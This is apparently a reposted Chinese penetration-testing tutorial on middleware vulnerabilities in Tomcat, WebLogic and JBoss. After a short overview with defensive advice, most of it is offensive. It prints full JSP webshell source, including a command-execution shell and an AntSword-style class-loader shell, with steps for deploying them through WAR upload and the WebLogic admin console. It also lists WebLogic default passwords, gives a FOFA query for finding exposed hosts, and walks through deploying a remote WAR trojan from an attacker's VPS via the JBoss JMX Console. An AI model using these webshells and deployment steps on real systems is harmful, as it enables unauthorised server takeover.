中间件安全

一.中间件概述

1.中间件定义

  • 介绍:中间件(Middleware)作为一种软件组件,在不同系统、应用程序或服务间扮演着数据与消息传递的关键角色。它常处于应用程序和操作系统之间,就像一座桥梁,负责不同应用程序间的数据传递、通信协调以及网络请求处理

2.中间件的架构与功能

  1. 插件式架构:中间件采用插件式架构,这使得开发人员能轻松将其集成到现有的应用程序里,大大提升了开发的灵活性。

  2. 多样化功能

    • 身份验证与授权:通过身份验证确认用户合法性,再依据授权机制分配不同权限,确保只有合法且权限匹配的用户能访问特定资源。比如企业办公系统,员工凭借用户名和密码登录(身份验证),不同级别员工拥有不同操作权限(授权)。
    • 缓存:缓存常用数据,减少对后端数据库等存储的频繁访问,显著提高系统响应速度。如新闻类应用,将热门文章缓存,用户再次浏览时可快速加载。
    • 负载均衡:把网络请求均匀分散到多个服务器,避免单个服务器负载过重,保障系统在高并发下的稳定运行。以大型电商平台为例,促销活动期间大量用户访问,负载均衡器将请求合理分配。
    • 日志记录:详细记录系统运行中的各类事件,为故障排查、安全审计提供有力依据。如记录服务器上用户的操作行为、登录时间等。
    • 安全性保障:提供基础的安全防护,抵御部分常见网络攻击。

3.中间件范畴

  1. 广义范畴:从广义视角,中间件涵盖了 Web 服务器、身份验证系统、消息传递工具等众多内容。
  2. 具体产品:常见的中间件产品包括 jboss、weblogic、tomcat、apache 等。应用中间件能够有效提升应用程序在可扩展性、可靠性、可维护性以及安全性方面的表现。

二.漏洞剖析

1.漏洞危害

  • 介绍:中间件漏洞指的是中间件软件中存在的安全隐患,攻击者可能利用这些漏洞对系统展开攻击与渗透,从而危及系统安全和数据完整性。

2.漏洞类型

  1. 代码注入漏洞:攻击者向中间件发送恶意代码,借此执行任意代码或获取敏感数据。例如,早期一些未严格过滤输入的 Web 应用,攻击者通过在输入框注入代码,获取数据库关键信息。
  2. 跨站脚本漏洞(XSS):攻击者在中间件输出的网页中插入恶意脚本,可窃取用户信息,如会话 Cookie,或进行恶意重定向等行为。一些小型论坛因缺乏对用户输入内容的有效过滤,曾遭受此类攻击。
  3. SQL 注入漏洞:在中间件处理 SQL 查询时,攻击者插入恶意代码,实现执行任意 SQL 查询,获取数据库敏感数据。如某些管理系统,因对用户输入的查询条件未做严格验证,导致数据库被非法访问。
  4. 认证和授权漏洞:攻击者利用中间件认证与授权机制的缺陷,绕过访问控制,获取系统高级权限。比如某些系统中,攻击者通过篡改认证令牌获取管理员权限。
  5. 文件包含漏洞:攻击者利用中间件的文件包含功能,引入恶意文件并执行其中代码。在一些内容管理系统中,攻击者通过此漏洞上传恶意脚本文件,实现对系统的控制。

3.防御措施

  1. 安全编码:开发人员遵循安全编码规范,对用户输入进行严格验证和过滤,从源头防止恶意代码注入。
  2. 定期更新:及时安装中间件供应商发布的安全补丁,修复已知漏洞,保持中间件的安全性。
  3. 权限管理:合理设置用户权限,遵循最小权限原则,仅赋予用户完成任务所需的最低权限。
  4. 防火墙配置:通过配置防火墙,对中间件的网络访问进行精细控制,阻挡外部非法访问。
  5. 漏洞扫描:借助专业的漏洞扫描工具,定期对中间件进行全面检测,及时发现并修复潜在漏洞。

三.中间件漏洞

1.Tomcat

A.Tomcat
  • 介绍:Tomcat 是一个开源的 Java Servlet 容器,由 Apache 软件基金会开发。Tomcat 对多种 Java 技术提供支持,包括 Java Servlet、JavaServer Pages(JSP)、Java Expression Language(EL)和 WebSocket 等 ,并且拥有许多企业级特性,如集群、安全性和可扩展性,这使其在 Java Web 开发中应用广泛。

  • 使用:

    • 可作为独立的 Web 服务器或应用服务器运行。
    • 也能作为插件集成到其他 Web 服务器,例如 Apache HTTP Server。
B.WAR包
  • 介绍:WAR(Web Application Archive)是 Web 应用程序的一种打包格式,作用是将 Web 应用程序打包成单个文件,极大地方便了应用程序的部署与分发。从本质上讲,WAR 文件属于 JAR(Java Archive)文件的一种,其中包含了 Web 应用程序运行所需的全部内容。

    • 代码相关:Java 类文件,是应用程序逻辑实现的核心部分。
    • 页面相关:HTML、JSP 文件,用于构建用户界面,展示内容给用户。
    • 配置相关:Servlet、XML 配置文件(如 web.xml、context.xml 等),用于配置 Web 应用程序的各种参数和运行规则,决定应用程序如何运行。
    • 静态资源:包含图片、CSS、JavaScript 文件等,用于美化界面和实现交互功能。
C.WAR包上传
  1. 制作WAR包:将jsp木马文件进行压缩后,将压缩文件 .zip​ 改为 .war​

    • jsp文件内容:

      <%@ page import="java.io.BufferedReader, java.io.InputStreamReader, java.io.IOException" %>
      <%String cmd = request.getParameter("cmd");if (cmd != null) {try {Process process = Runtime.getRuntime().exec(cmd);BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));String line;while ((line = reader.readLine()) != null) {out.println(line);  // 输出命令执行结果}reader.close();  // 关闭资源} catch (IOException e) {out.println("Error executing command: " + e.getMessage());}}
      %>
      
  2. 找到上传点进行上传


  3. 上传成功

  4. 调用一句话木马文件,并成功执行命令


2.Weblogic

  • 介绍: WebLogic Server​ 是美国甲骨文(Oracle​)公司开发的一款适用于云环境和传统环境的应用服务中间件,确切的说是一个基于 JavaEE​ 架构的中间件,它提供了一个现代轻型开发平台,用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和 Java Enterprise​ 标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

  • 特征

    1. 默认端口:7001

    2. Web界面:Error 404--Not Found


    3. 控制后台:http://ip:7001/console

  • 历史漏洞


  • 影响版本

    • 10.3.6.0
      12.1.3.0
      12.2.1.1
      12.2.1.2
      12.2.1.3
      14.1.1.0

  • 漏洞寻找

    1. 获取资产:shodan、fofa、zoomeye等

      • 示例:fofa:app="BEA-WebLogic-Server" && country!="CN"​
    2. 批量扫描脚本:Weblogic一键漏洞检测工具_V1.5

  • 漏洞环境搭建

    • docker pull vulhub/weblogic:10.3.6.0-2017

      docker run -dit -p 7001:7001 vulhub/weblogic:10.3.6.0-2017

A.弱口令
  • 介绍:Weblogic存在管理后台,通过账号密码登录,由于管理员的疏忽,经常会使用弱口令,或者默认的账户名密码。

    • 默认账密

      访问路径:/console

      账号:weblogic

      密码:Oracle@123

  • ​Weblogic​ 默认口令:

    • system/password

      system/Passw0rd

      weblogic/weblogic

      admin/security

      joe/password

      mary/password

      system/security

      wlcsystem/wlcsystem

      wlpisystem/wlpisystem

      • 参考链接:https://cirt.net/passwords?criteria=weblogic
B.GetShell
  1. 准备 .jsp​ 一句话木马文件

    • <%@ page import="java.io.BufferedReader, java.io.InputStreamReader, java.io.IOException" %>
      <%String cmd = request.getParameter("cmd");if (cmd != null) {try {Process process = Runtime.getRuntime().exec(cmd);BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));String line;while ((line = reader.readLine()) != null) {out.println(line);  // 输出命令执行结果}reader.close();  // 关闭资源} catch (IOException e) {out.println("Error executing command: " + e.getMessage());}}
      %>
      
  2. 登录后台后,点击部署​

  3. 点击安装

  4. 点击上载文件

  5. 上传完,并测试

  6. getshell

    • 注意:上面的 .jsp​ 文件不支持蚁剑,蚁剑连接必须使用下面的 yijian.jsp​ 或蚁剑插件生成的jsp webshell

      • <%@ page import="java.lang.reflect.Method" %>
        <%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}public byte[] base64Decode(String str) throws Exception {try {Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);} catch (Exception e) {Class clazz = Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);}}
        %><%String cls = request.getParameter("ant");if (cls != null) {new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);}
        %>

3.JBoss漏洞

  • 介绍:JBoss是一个用于管理EJB(Enterprise JavaBeans)的容器和服务器。它专注于企业级Java应用的开发与部署,本身核心服务并不包含支持servlet/JSP的WEB容器,在实际应用中,通常会与Tomcat或Jetty绑定使用 ,就如同Apache是常见的web服务器,而JBoss则是专门用来运行Java EE程序的应用服务器。

  • 历史漏洞

    1. 访问控制不严导致的漏洞

      • JMX Console 未授权访问 Getshell:Jboss 的 webUI 界面http://ip:port/jmx-console​存在未授权访问情况,甚至部分存在默认密码admin/admin​。这一漏洞会导致 JBoss 的部署管理信息泄露,攻击者还能借此直接上传木马获取 webshell。
      • Administration Console 弱口令 Getshell:由于用户设置的口令强度不足,攻击者通过简单的猜测或暴力破解,利用弱口令登录 Administration Console,进而获取服务器权限,实现 Getshell。
      • CVE - 2007 - 1036 -- JMX Console HtmlAdaptor Getshell:此漏洞与 JMX Console 的 HtmlAdaptor 相关,攻击者利用该漏洞可以在未授权的情况下获取服务器的控制权,实现 Getshell 操作。
      • CVE - 2010 - 0738 -- JMX 控制台安全验证绕过漏洞:通过特定的手段,攻击者能够绕过 JMX 控制台的安全验证机制,获取对控制台的访问权限,从而进一步实施攻击行为。
    2. 反序列化漏洞

      • CVE - 2013 - 4810 -- JBoss EJBInvokerServlet 反序列化漏洞:JBoss 的 EJBInvokerServlet 存在反序列化漏洞,攻击者可以构造恶意的反序列化数据,利用该漏洞执行任意代码,进而控制服务器。
      • CVE - 2015 - 7501 -- JBoss JMXInvokerServlet 反序列化漏洞:在 JMXInvokerServlet 中,由于反序列化机制的缺陷,攻击者可以发送精心构造的请求,触发反序列化漏洞,实现对服务器的攻击。
      • CVE - 2017 - 7504 -- JBoss 4.x JBossMQ JMS 反序列化漏洞:针对 JBoss 4.x 版本的 JBossMQ JMS 组件,存在反序列化漏洞,攻击者可以利用该漏洞进行远程代码执行,对服务器造成严重威胁。
      • CVE - 2017 - 12149 -- JBosS AS 6.X 反序列化漏洞:在 JBosS AS 6.X 版本中,存在反序列化漏洞,攻击者可以通过发送恶意请求,利用该漏洞获取服务器的控制权。
  • JBoss 漏洞检测工具:一个简单探测jboss漏洞的工具

A.JMX Console 未授权访问漏洞利用
  1. 漏洞利用工具

    • 自动化利用:使用https://gitee.com/yijingsec/JbossVulExploit​进行自动化利用。具体步骤如下:

      • 首先,将文件夹里的bx3.war​放到自己的公网服务器上,然后使用 python 启动一个 http 服务,用于提供 war 包的下载。
      • 运行脚本,在脚本中设置Set target url​为目标网站,Set vps ip​为 war 包所在的 http 服务的 ip,Set vps httpServer port​为所启动的 http 服务的端口。完成设置后,即可自动利用漏洞进行攻击,攻击成功后,可使用冰蝎进行连接,获取服务器的控制权。
  2. 手动利用

    • 远程部署 war 包:

      • 找到jboss.deployment​选项(Jboss 自带的部署功能)中的flavor = URL,type = DeploymentScanner​点进去(通过 url 的方式远程部署)。也可以直接输入以下 URL 进入:http://xx.xx.xx.xx:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment:type=DeploymentScanner,flavor=URL​。

      • 进入页面后找到void addURL()​,开始部署远程的 war 包木马。具体操作如下:

        • 打包 jsp 马为 war 包:jar -cvf shell.war shell.jsp​
        • 在 vps 上启动 web 服务:python -m http.server​
        • 确定 war 包下载地址:http://vps - IP:8000/shell.war​
        • 点击Invoke​部署 war 包。
      • 随后点击Back to MBean View​来到URLList​中查看Value​值是否已经部署好,并且为远程 war 木马地址。

      • 最后点击Apply Changes​后耐心等待一会儿(等待时间较长),然后回到JMX - Console​目录中,找到jboss.web.deployment​查看是否存在部署的 war 木马。若存在,则表示部署成功,攻击者可以进一步利用该 war 包获取服务器的控制权。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/9733.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

微服务入门(go)

微服务入门&#xff08;go&#xff09; 和单体服务对比&#xff1a;里面的服务仅仅用于某个特定的业务 一、领域驱动设计&#xff08;DDD&#xff09; 基本概念 领域和子域 领域&#xff1a;有范围的界限&#xff08;边界&#xff09; 子域&#xff1a;划分的小范围 核心域…

js小游戏---2048(附源代码)

一、游戏页面展示 开始游戏&#xff1a; 游戏结束&#xff1a; 二、游戏如何操作 通过监听键盘的操作&#xff0c;进行移动变化 键盘上下左右键控制页面中所有模块同时向键入的方向移动&#xff0c;如果有两块一样的方块&#xff0c;就进行合并&#xff0c;并且在键盘每操作…

ASP.NET代码审计 SQL注入篇(简单记录)

sql注入&#xff0c;全局搜索 Request QueryString ToString() select select * aspx是设计页面&#xff0c;而aspx.cs是类页面&#xff0c;也就是说设计页面用到的类信息在这个页面里面&#xff0c;其实就是把设计和实现分离开来。 源码 using System; using System.Collect…

【Rust自学】14.6. 安装二进制crate

喜欢的话别忘了点赞、收藏加关注哦&#xff0c;对接下来的教程有兴趣的可以关注专栏。谢谢喵&#xff01;(&#xff65;ω&#xff65;) 14.6.1. 从cratea.io安装二进制crate 通过cargo_install命令可以从crates.io安装二进制crate。 这并不是为了替换系统包&#xff0c;它应…

C++中的类与对象(中)

在上一节中&#xff0c;我们初步了解了一下&#xff0c;C中的类&#xff0c;这一概念&#xff0c;这一节让我们进一步深入了解一下。 文章目录 目录 前言 一、类中的默认成员函数 1.1 构造函数 构造函数的特点&#xff1a; 1.2 析构函数 析构函数的特点&#xff1a; 1.3 …

机器人抓取与操作概述(深蓝)——1

工业机器人&#xff1a;① “臂”的形态 ② “手”的形态 ③ 视觉&#xff0c;力和触觉 1 机器人的不同形态 “臂”的形态 “手”的形态 2 常见的操作任务 操作&#xff1a;插入、推和滑 抓取&#xff1a;两指&#xff08;平行夹爪&#xff09;抓取、灵巧手抓取 落地-产…

指针的介绍3后

1.函数指针变量 1.1函数的地址 void test(int (*arr)[2]) {printf("zl_dfq\n"); } int main() {printf("%p\n", test);printf("%p\n", &test);return 0; } 由上面的程序运行可知&#xff1a; 函数名就是函数的地址 &函数名也可以拿到函…

基于Springboot的智能学习平台系统【附源码】

基于Springboot的智能学习平台系统 效果如下&#xff1a; 系统登陆页面 系统主页面 课程详情页面 论坛页面 考试页面 试卷管理页面 考试记录页面 错题本页面 研究背景 随着互联网技术的普及&#xff0c;人们探索知识的方式逐渐转向数字化平台。传统的教学方法通常局限于固定…

shiro学习五:使用springboot整合shiro。在前面学习四的基础上,增加shiro的缓存机制,源码讲解:认证缓存、授权缓存。

文章目录 前言1. 直接上代码最后在讲解1.1 新增的pom依赖1.2 RedisCache.java1.3 RedisCacheManager.java1.4 jwt的三个类1.5 ShiroConfig.java新增Bean 2. 源码讲解。2.1 shiro 缓存的代码流程。2.2 缓存流程2.2.1 认证和授权简述2.2.2 AuthenticatingRealm.getAuthentication…

网关登录校验

网关登录校验 单体架构时我们只需要完成一次用户登录、身份校验&#xff0c;就可以在所有业务中获取到用户信息。而微服务拆分后&#xff0c;每个微服务都独立部署&#xff0c;不再共享数据。也就意味着每个微服务都需要做登录校验&#xff0c;这显然不可取。 鉴权思路分析 …

【单细胞第二节:单细胞示例数据分析-GSE218208】

GSE218208 1.创建Seurat对象 #untar(“GSE218208_RAW.tar”) rm(list ls()) a data.table::fread("GSM6736629_10x-PBMC-1_ds0.1974_CountMatrix.tsv.gz",data.table F) a[1:4,1:4] library(tidyverse) a$alias:gene str_split(a$alias:gene,":",si…

【已解决】黑马点评项目Redis版本替换过程的数据迁移

黑马点评项目Redis版本替换过程的数据迁移 【哭哭哭】附近商户中需要用到的GEO功能只在Redis 6.2以上版本生效 如果用的是老版本&#xff0c;美食/KTV的主页能正常返回&#xff0c;但无法显示内容 上次好不容易升到了5.0以上版本&#xff0c;现在又用不了了 Redis 6.2的windo…

本地部署deepseek模型步骤

文章目录 0.deepseek简介1.安装ollama软件2.配置合适的deepseek模型3.安装chatbox可视化 0.deepseek简介 DeepSeek 是一家专注于人工智能技术研发的公司&#xff0c;致力于打造高性能、低成本的 AI 模型&#xff0c;其目标是让 AI 技术更加普惠&#xff0c;让更多人能够用上强…

[论文总结] 深度学习在农业领域应用论文笔记14

当下&#xff0c;深度学习在农业领域的研究热度持续攀升&#xff0c;相关论文发表量呈现出迅猛增长的态势。但繁荣背后&#xff0c;质量却不尽人意。相当一部分论文内容空洞无物&#xff0c;缺乏能够落地转化的实际价值&#xff0c;“凑数” 的痕迹十分明显。在农业信息化领域的…

快速分析LabVIEW主要特征进行判断

在LabVIEW中&#xff0c;快速分析程序特征进行判断是提升开发效率和减少调试时间的重要技巧。本文将介绍如何高效地识别和分析程序的关键特征&#xff0c;从而帮助开发者在编写和优化程序时做出及时的判断&#xff0c;避免不必要的错误。 ​ 数据流和并行性分析 LabVIEW的图形…

展示统计信息收集情况

看看最近是否收集失败 SET LINES 200 PAGES 0 SET LONG 100000 longc 100000 COLUMN REPORT FORMAT A200VARIABLE stat_report CLOB; BEGIN:stat_report : DBMS_STATS.REPORT_STATS_OPERATIONS (since > SYSDATE-3 , until > SYSDATE , detail_lev…

STM32 TIM输入捕获 测量频率

输入捕获简介&#xff1a; IC&#xff08;Input Capture&#xff09;输入捕获 输入捕获模式下&#xff0c;当通道输入引脚出现指定电平跳变时&#xff0c;当前CNT的值将被锁存到CCR中&#xff0c;可用于测量PWM波形的频率、占空比、脉冲间隔、电平持续时间等参数 每个高级定时器…

如何将 Windows 上的文件传递到 Mac 上

文章目录 效果需求Windows 上设置共享磁盘【可选】新建一个带有密码的账户查看 Windows 的 IP 地址Mac 上链接 Windows 共享的磁盘 效果 需求 Windows 上有一个有密码的账户 Windows 上设置共享磁盘 windows 这边需要用 Administrator 权限的账号&#xff0c;把要共享的磁盘设…

NLP模型大对比:Transformer > RNN > n-gram

结论 Transformer 大于 RNN 大于 传统的n-gram n-gram VS Transformer 我们可以用一个 图书馆查询 的类比来解释它们的差异&#xff1a; 一、核心差异对比 维度n-gram 模型Transformer工作方式固定窗口的"近视观察员"全局关联的"侦探"依赖距离只能看前…

ODP(OBProxy)路由初探

OBProxy路由策略 Primary Zone 路由 官方声明默认情况&#xff0c;会将租户请求发送到租户的 primary zone 所在的机器上&#xff0c;通过 Primary Zone 路由可以尽量发往主副本&#xff0c;方便快速寻找 Leader 副本。另外&#xff0c;设置primary zone 也会在一定成都上减少…